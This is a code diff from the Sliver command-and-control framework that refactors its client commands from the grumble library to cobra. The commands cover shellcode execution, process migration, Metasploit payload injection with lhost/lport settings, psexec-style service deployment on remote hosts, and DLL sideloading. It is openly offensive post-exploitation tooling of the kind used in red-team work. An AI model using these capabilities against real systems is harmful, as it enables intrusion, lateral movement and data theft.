||||
|
||||
PrintExecutionOutput(string(execAssembly.GetOutput()), save, cmd.Name(), hostName, con)
|
||||
|
||||
if saveLoot {
|
||||
LootExecute(execAssembly.GetOutput(), lootName, ctx.Command.Name, assemblyPath, hostName, con)
|
||||
LootExecute(execAssembly.GetOutput(), lootName, cmd.Name(), assemblyPath, hostName, con)
|
||||
}
|
||||
}
|
||||
@@ -26,31 +26,33 @@ import (
|
||||
"log"
|
||||
"os"
|
||||
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExecuteShellcodeCmd - Execute shellcode in-memory
|
||||
func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ExecuteShellcodeCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
rwxPages := ctx.Flags.Bool("rwx-pages")
|
||||
interactive := ctx.Flags.Bool("interactive")
|
||||
rwxPages, _ := cmd.Flags().GetBool("rwx-pages")
|
||||
interactive, _ := cmd.Flags().GetBool("interactive")
|
||||
if interactive && beacon != nil {
|
||||
con.PrintErrorf("Interactive shellcode can only be executed in a session\n")
|
||||
return
|
||||
}
|
||||
pid := ctx.Flags.Uint("pid")
|
||||
shellcodePath := ctx.Args.String("filepath")
|
||||
|
||||
pid, _ := cmd.Flags().GetUint32("pid")
|
||||
shellcodePath := args[0]
|
||||
shellcodeBin, err := os.ReadFile(shellcodePath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err.Error())
|
||||
@@ -60,23 +62,23 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintErrorf("Cannot use both `--pid` and `--interactive`\n")
|
||||
return
|
||||
}
|
||||
shikataGaNai := ctx.Flags.Bool("shikata-ga-nai")
|
||||
shikataGaNai, _ := cmd.Flags().GetBool("shikata-ga-nai")
|
||||
if shikataGaNai {
|
||||
if !rwxPages {
|
||||
con.PrintErrorf("Cannot use shikata ga nai without RWX pages enabled\n")
|
||||
return
|
||||
}
|
||||
arch := ctx.Flags.String("architecture")
|
||||
arch, _ := cmd.Flags().GetString("architecture")
|
||||
if arch != "386" && arch != "amd64" {
|
||||
con.PrintErrorf("Invalid shikata ga nai architecture (must be 386 or amd64)\n")
|
||||
return
|
||||
}
|
||||
iter := ctx.Flags.Int("iterations")
|
||||
iter, _ := cmd.Flags().GetUint32("iterations")
|
||||
con.PrintInfof("Encoding shellcode ...\n")
|
||||
resp, err := con.Rpc.ShellcodeEncoder(context.Background(), &clientpb.ShellcodeEncodeReq{
|
||||
Encoder: clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
|
||||
Architecture: arch,
|
||||
Iterations: uint32(iter),
|
||||
Iterations: iter,
|
||||
BadChars: []byte{},
|
||||
Data: shellcodeBin,
|
||||
})
|
||||
@@ -89,8 +91,10 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
con.PrintInfof("Shellcode encoded in %d iterations (%d bytes -> %d bytes)\n", iter, oldSize, len(shellcodeBin))
|
||||
}
|
||||
|
||||
process, _ := cmd.Flags().GetString("process")
|
||||
|
||||
if interactive {
|
||||
executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, rwxPages, con)
|
||||
executeInteractive(cmd, process, shellcodeBin, rwxPages, con)
|
||||
return
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
@@ -99,8 +103,8 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
shellcodeTask, err := con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Data: shellcodeBin,
|
||||
RWXPages: rwxPages,
|
||||
Pid: uint32(pid),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Pid: pid,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -133,7 +137,7 @@ func PrintExecuteShellcode(task *sliverpb.Task, con *console.SliverConsoleClient
|
||||
}
|
||||
}
|
||||
|
||||
func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
|
||||
func executeInteractive(cmd *cobra.Command, hostProc string, shellcode []byte, rwxPages bool, con *console.SliverConsoleClient) {
|
||||
// Check active session
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
@@ -148,7 +152,6 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
rpcTunnel, err := con.Rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
|
||||
SessionID: session.ID,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -157,12 +160,11 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
tunnel := core.GetTunnels().Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
|
||||
|
||||
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: hostProc,
|
||||
EnablePTY: !noPty,
|
||||
TunnelID: tunnel.ID,
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
@@ -174,7 +176,7 @@ func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte,
|
||||
msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
|
||||
con.SpinUntil(msg, ctrl)
|
||||
_, err = con.Rpc.Task(context.Background(), &sliverpb.TaskReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Pid: pid,
|
||||
Data: shellcode,
|
||||
RWXPages: rwxPages,
|
||||
|
||||
@@ -23,34 +23,38 @@ import (
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ExecuteCmd - Run a command on the remote system
|
||||
func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func ExecuteCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
cmdPath := ctx.Args.String("command")
|
||||
args := ctx.Args.StringList("arguments")
|
||||
token := ctx.Flags.Bool("token")
|
||||
output := ctx.Flags.Bool("output")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
saveOutput := ctx.Flags.Bool("save")
|
||||
ppid := ctx.Flags.Uint("ppid")
|
||||
cmdPath := args[0]
|
||||
args = args[1:]
|
||||
|
||||
token, _ := cmd.Flags().GetBool("token")
|
||||
hidden, _ := cmd.Flags().GetBool("hidden")
|
||||
output, _ := cmd.Flags().GetBool("output")
|
||||
stdout, _ := cmd.Flags().GetString("stdout")
|
||||
stderr, _ := cmd.Flags().GetString("stderr")
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
saveOutput, _ := cmd.Flags().GetBool("save")
|
||||
ppid, _ := cmd.Flags().GetUint32("ppid")
|
||||
hostName := getHostname(session, beacon)
|
||||
|
||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
var captureOutput bool = output || saveLoot || saveOutput
|
||||
captureOutput := output || saveLoot || saveOutput
|
||||
|
||||
if output && beacon != nil {
|
||||
con.PrintWarnf("Using --output in beacon mode, if the command blocks the task will never complete\n\n")
|
||||
@@ -61,20 +65,25 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Executing %s %s ...", cmdPath, strings.Join(args, " ")), ctrl)
|
||||
if token || ppid != 0 {
|
||||
if token || hidden || ppid != 0 {
|
||||
if session.OS != "windows" {
|
||||
con.PrintErrorf("The token, hide window, and ppid options are not valid on %s\n", session.OS)
|
||||
return
|
||||
}
|
||||
exec, err = con.Rpc.ExecuteWindows(context.Background(), &sliverpb.ExecuteWindowsReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
UseToken: token,
|
||||
PPid: uint32(ppid),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
Stderr: stderr,
|
||||
Stdout: stdout,
|
||||
UseToken: token,
|
||||
HideWindow: hidden,
|
||||
PPid: ppid,
|
||||
})
|
||||
} else {
|
||||
exec, err = con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Path: cmdPath,
|
||||
Args: args,
|
||||
Output: captureOutput,
|
||||
@@ -96,44 +105,44 @@ func ExecuteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
|
||||
HandleExecuteResponse(exec, cmdPath, hostName, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(exec.Response)
|
||||
} else {
|
||||
HandleExecuteResponse(exec, cmdPath, hostName, ctx, con)
|
||||
HandleExecuteResponse(exec, cmdPath, hostName, cmd, con)
|
||||
}
|
||||
}
|
||||
|
||||
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func HandleExecuteResponse(exec *sliverpb.Execute, cmdPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
var lootedOutput []byte
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
saveOutput := ctx.Flags.Bool("save")
|
||||
lootName := ctx.Flags.String("name")
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
stdout, _ := cmd.Flags().GetString("stdout")
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
saveOutput, _ := cmd.Flags().GetBool("save")
|
||||
lootName, _ := cmd.Flags().GetString("name")
|
||||
ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr")
|
||||
|
||||
if saveLoot || saveOutput {
|
||||
lootedOutput = combineCommandOutput(exec, stdout == "", !ignoreStderr && 0 < len(exec.Stderr))
|
||||
}
|
||||
|
||||
if saveLoot {
|
||||
LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
|
||||
LootExecute(lootedOutput, lootName, cmd.Name(), cmdPath, hostName, con)
|
||||
}
|
||||
|
||||
if saveOutput {
|
||||
SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
|
||||
SaveExecutionOutput(string(lootedOutput), cmd.Name(), hostName, con)
|
||||
}
|
||||
|
||||
PrintExecute(exec, ctx, con)
|
||||
PrintExecute(exec, cmd, con)
|
||||
}
|
||||
|
||||
// PrintExecute - Print the output of an executed command
|
||||
func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ignoreStderr := ctx.Flags.Bool("ignore-stderr")
|
||||
stdout := ctx.Flags.String("stdout")
|
||||
stderr := ctx.Flags.String("stderr")
|
||||
func PrintExecute(exec *sliverpb.Execute, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
ignoreStderr, _ := cmd.Flags().GetBool("ignore-stderr")
|
||||
stdout, _ := cmd.Flags().GetString("stdout")
|
||||
stderr, _ := cmd.Flags().GetString("stderr")
|
||||
|
||||
output := ctx.Flags.Bool("output")
|
||||
output, _ := cmd.Flags().GetBool("output")
|
||||
if !output {
|
||||
if exec.Status == 0 {
|
||||
con.PrintInfof("Command executed successfully\n")
|
||||
@@ -216,7 +225,7 @@ func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cm
|
||||
lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
|
||||
}
|
||||
|
||||
lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
|
||||
lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.FileType_TEXT, commandOutput)
|
||||
loot.SendLootMessage(lootMessage, con)
|
||||
}
|
||||
|
||||
|
||||
@@ -21,23 +21,55 @@ package exec
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
// MigrateCmd - Windows only, inject an implant into another process
|
||||
func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func MigrateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session := con.ActiveTarget.GetSession()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
pid := ctx.Args.Uint("pid")
|
||||
pid, _ := cmd.Flags().GetUint32("pid")
|
||||
procName, _ := cmd.Flags().GetString("process-name")
|
||||
if pid == 0 && procName == "" {
|
||||
con.PrintErrorf("Error: Must specify either a PID or process name\n")
|
||||
return
|
||||
}
|
||||
if procName != "" {
|
||||
procCtrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Searching for %s ...", procName), procCtrl)
|
||||
proc, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %v\n", err)
|
||||
return
|
||||
}
|
||||
procCtrl <- true
|
||||
<-procCtrl
|
||||
for _, p := range proc.GetProcesses() {
|
||||
if strings.EqualFold(p.Executable, procName) {
|
||||
pid = uint32(p.Pid)
|
||||
break
|
||||
}
|
||||
}
|
||||
if pid == 0 {
|
||||
con.PrintErrorf("Error: Could not find process %s\n", procName)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Process name specified, overriding PID with %d\n", pid)
|
||||
}
|
||||
config := con.GetActiveSessionConfig()
|
||||
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
|
||||
if ctx.Flags.Bool("disable-sgn") {
|
||||
if disableSgn, _ := cmd.Flags().GetBool("disable-sgn"); disableSgn {
|
||||
encoder = clientpb.ShellcodeEncoder_NONE
|
||||
}
|
||||
|
||||
@@ -45,9 +77,9 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
|
||||
|
||||
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
|
||||
Pid: uint32(pid),
|
||||
Pid: pid,
|
||||
Config: config,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Encoder: encoder,
|
||||
})
|
||||
ctrl <- true
|
||||
|
||||
@@ -22,28 +22,29 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MsfInjectCmd - Inject a metasploit payload into a remote process
|
||||
func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func MsfInjectCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadName := ctx.Flags.String("payload")
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := ctx.Flags.Int("lport")
|
||||
encoder := ctx.Flags.String("encoder")
|
||||
iterations := ctx.Flags.Int("iterations")
|
||||
pid := ctx.Flags.Int("pid")
|
||||
payloadName, _ := cmd.Flags().GetString("payload")
|
||||
lhost, _ := cmd.Flags().GetString("lhost")
|
||||
lport, _ := cmd.Flags().GetInt("lport")
|
||||
encoder, _ := cmd.Flags().GetString("encoder")
|
||||
iterations, _ := cmd.Flags().GetInt("iterations")
|
||||
pid, _ := cmd.Flags().GetInt("pid")
|
||||
|
||||
if lhost == "" {
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
@@ -68,7 +69,7 @@ func MsfInjectCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
payloadName, goos, goarch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
msfTask, err := con.Rpc.MsfRemote(context.Background(), &clientpb.MSFRemoteReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
LPort: uint32(lport),
|
||||
|
||||
+11
-10
@@ -22,26 +22,27 @@ import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// MsfCmd - Inject a metasploit payload into the current remote process
|
||||
func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func MsfCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
payloadName := ctx.Flags.String("payload")
|
||||
lhost := ctx.Flags.String("lhost")
|
||||
lport := ctx.Flags.Int("lport")
|
||||
encoder := ctx.Flags.String("encoder")
|
||||
iterations := ctx.Flags.Int("iterations")
|
||||
payloadName, _ := cmd.Flags().GetString("payload")
|
||||
lhost, _ := cmd.Flags().GetString("lhost")
|
||||
lport, _ := cmd.Flags().GetInt("lport")
|
||||
encoder, _ := cmd.Flags().GetString("encoder")
|
||||
iterations, _ := cmd.Flags().GetInt("iterations")
|
||||
|
||||
if lhost == "" {
|
||||
con.PrintErrorf("Invalid lhost '%s', see `help %s`\n", lhost, consts.MsfStr)
|
||||
@@ -62,7 +63,7 @@ func MsfCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
payloadName, goos, goarch, lhost, lport)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
msfTask, err := con.Rpc.Msf(context.Background(), &clientpb.MSFReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Payload: payloadName,
|
||||
LHost: lhost,
|
||||
LPort: uint32(lport),
|
||||
|
||||
@@ -27,36 +27,36 @@ import (
|
||||
|
||||
insecureRand "math/rand"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/generate"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/server/codenames"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// PsExecCmd - psexec command implementation.
|
||||
func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func PsExecCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
hostname := ctx.Args.String("hostname")
|
||||
hostname := args[0]
|
||||
if hostname == "" {
|
||||
con.PrintErrorf("You need to provide a target host, see `help psexec` for examples")
|
||||
return
|
||||
}
|
||||
var serviceBinary []byte
|
||||
profile := ctx.Flags.String("profile")
|
||||
serviceName := ctx.Flags.String("service-name")
|
||||
serviceDesc := ctx.Flags.String("service-description")
|
||||
binPath := ctx.Flags.String("binpath")
|
||||
customExe := ctx.Flags.String("custom-exe")
|
||||
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(ctx.Flags.String("binpath")), "c:", "C$"))
|
||||
profile, _ := cmd.Flags().GetString("profile")
|
||||
serviceName, _ := cmd.Flags().GetString("service-name")
|
||||
serviceDesc, _ := cmd.Flags().GetString("service-description")
|
||||
binPath, _ := cmd.Flags().GetString("binpath")
|
||||
customExe, _ := cmd.Flags().GetString("custom-exe")
|
||||
uploadPath := fmt.Sprintf(`\\%s\%s`, hostname, strings.ReplaceAll(strings.ToLower(binPath), "c:", "C$"))
|
||||
|
||||
if serviceName == "Sliver" || serviceDesc == "Sliver implant" {
|
||||
con.PrintWarnf("You're going to deploy the following service:\n- Name: %s\n- Description: %s\n", serviceName, serviceDesc)
|
||||
@@ -105,7 +105,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
filename := randomFileName()
|
||||
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
|
||||
uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
|
||||
uploadGzip, _ := new(encoders.Gzip).Encode(serviceBinary)
|
||||
// upload to remote target
|
||||
uploadCtrl := make(chan bool)
|
||||
con.SpinUntil("Uploading service binary ...", uploadCtrl)
|
||||
@@ -113,7 +113,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Encoder: "gzip",
|
||||
Data: uploadGzip,
|
||||
Path: filePath,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
uploadCtrl <- true
|
||||
<-uploadCtrl
|
||||
@@ -136,7 +136,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
start, err := con.Rpc.StartService(context.Background(), &sliverpb.StartServiceReq{
|
||||
BinPath: binaryPath,
|
||||
Hostname: hostname,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
ServiceDescription: serviceDesc,
|
||||
ServiceName: serviceName,
|
||||
Arguments: "",
|
||||
@@ -159,7 +159,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
Hostname: hostname,
|
||||
ServiceName: serviceName,
|
||||
},
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
removeChan <- true
|
||||
<-removeChan
|
||||
@@ -174,8 +174,17 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
|
||||
}
|
||||
|
||||
func randomString() string {
|
||||
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
|
||||
str := ""
|
||||
for index := 0; index < insecureRand.Intn(8)+1; index++ {
|
||||
str += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
|
||||
}
|
||||
return str
|
||||
}
|
||||
|
||||
func randomFileName() string {
|
||||
noun, _ := codenames.RandomNoun()
|
||||
noun := randomString()
|
||||
noun = strings.ToLower(noun)
|
||||
switch insecureRand.Intn(3) {
|
||||
case 0:
|
||||
|
||||
@@ -25,46 +25,51 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// SideloadCmd - Sideload a shared library on the remote system
|
||||
func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func SideloadCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
binPath := ctx.Args.String("filepath")
|
||||
binPath := args[0]
|
||||
binArgs := strings.Join(args[1:], " ")
|
||||
|
||||
entryPoint := ctx.Flags.String("entry-point")
|
||||
processName := ctx.Flags.String("process")
|
||||
args := strings.Join(ctx.Args.StringList("args"), " ")
|
||||
entryPoint, _ := cmd.Flags().GetString("entry-point")
|
||||
processName, _ := cmd.Flags().GetString("process")
|
||||
keepAlive, _ := cmd.Flags().GetBool("keep-alive")
|
||||
isUnicode, _ := cmd.Flags().GetBool("unicode")
|
||||
pPid, _ := cmd.Flags().GetUint32("ppid")
|
||||
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err.Error())
|
||||
return
|
||||
}
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
processArgsStr, _ := cmd.Flags().GetString("process-arguments")
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
isDLL := (filepath.Ext(binPath) == ".dll")
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
|
||||
sideload, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: args,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
Args: binArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: !ctx.Flags.Bool("keep-alive"),
|
||||
Kill: !keepAlive,
|
||||
IsDLL: isDLL,
|
||||
IsUnicode: ctx.Flags.Bool("unicode"),
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
IsUnicode: isUnicode,
|
||||
PPid: pPid,
|
||||
ProcessArgs: processArgs,
|
||||
})
|
||||
ctrl <- true
|
||||
@@ -83,26 +88,28 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
|
||||
HandleSideloadResponse(sideload, binPath, hostName, cmd, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideload.Response)
|
||||
} else {
|
||||
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
|
||||
HandleSideloadResponse(sideload, binPath, hostName, cmd, con)
|
||||
}
|
||||
}
|
||||
|
||||
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, cmd *cobra.Command, con *console.SliverConsoleClient) {
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
lootName, _ := cmd.Flags().GetString("name")
|
||||
|
||||
if sideload.GetResponse().GetErr() != "" {
|
||||
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
|
||||
return
|
||||
}
|
||||
|
||||
PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
|
||||
save, _ := cmd.Flags().GetBool("save")
|
||||
|
||||
PrintExecutionOutput(sideload.GetResult(), save, cmd.Name(), hostName, con)
|
||||
|
||||
if saveLoot {
|
||||
LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
|
||||
